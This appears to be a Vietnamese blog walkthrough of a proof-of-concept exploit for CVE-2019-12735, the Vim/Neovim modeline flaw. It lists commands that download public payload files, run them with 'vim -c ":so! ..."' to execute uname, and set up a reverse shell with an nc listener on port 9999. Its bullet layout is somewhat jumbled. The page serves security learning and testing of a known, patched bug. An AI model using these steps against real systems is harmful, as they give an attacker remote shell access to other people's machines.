Exploit PoC: Linux command execution on Vim/Neovim vulnerability (CVE-2019–12735)
Vim ở phiên bản trước 8.1.1365 và Neevim trước phiên bản 0.3.6 dễ thực thi code execution thông qua modelines bằng cách mở các file text đặt biệt được tạo ra.
Môi trường:
vim 7.4
[root@sky ~]# vim --version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Oct 30 2018 19:56:57)
Included patches: 1-160, 399, 402-403, 1099
Modified by <[email protected]>
Compiled by <[email protected]>
Thực hiện
- POC1: Thực hiện
uname -akhi sử dụngvim somthing_file- Tạo ra một file có nội dung sau
wget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/poc.txtThực hiện POC
vim -c ":so! poc.txt"- Kết quả
[root@sky ~]# vim -c ":so! poc.txt" Linux sky 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux Press ENTER or type command to continue - Tạo ra một file có nội dung sau
- POC2: Thực hiện reverse shell
- Tạo ra một file có nội dung như sau
wget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt - Tham khảo thêm về kỹ thuật reverse shell tại đây

- Chia 2 cửa số terminal
- terminal 1: Thực hiện
nc -lvp 9999 - terminal 2: Thực hiên
vim -c ":so! /root/shell.txt"
- terminal 1: Thực hiện
- Kết quả:
- Trước khi thực hiện lệnh vim

- Sau khi thực hiện lệnh vim

- Trước khi thực hiện lệnh vim
- Tạo ra một file có nội dung như sau
Tài liệu tham khảo
- https://github.com/numirias/security










Add Comment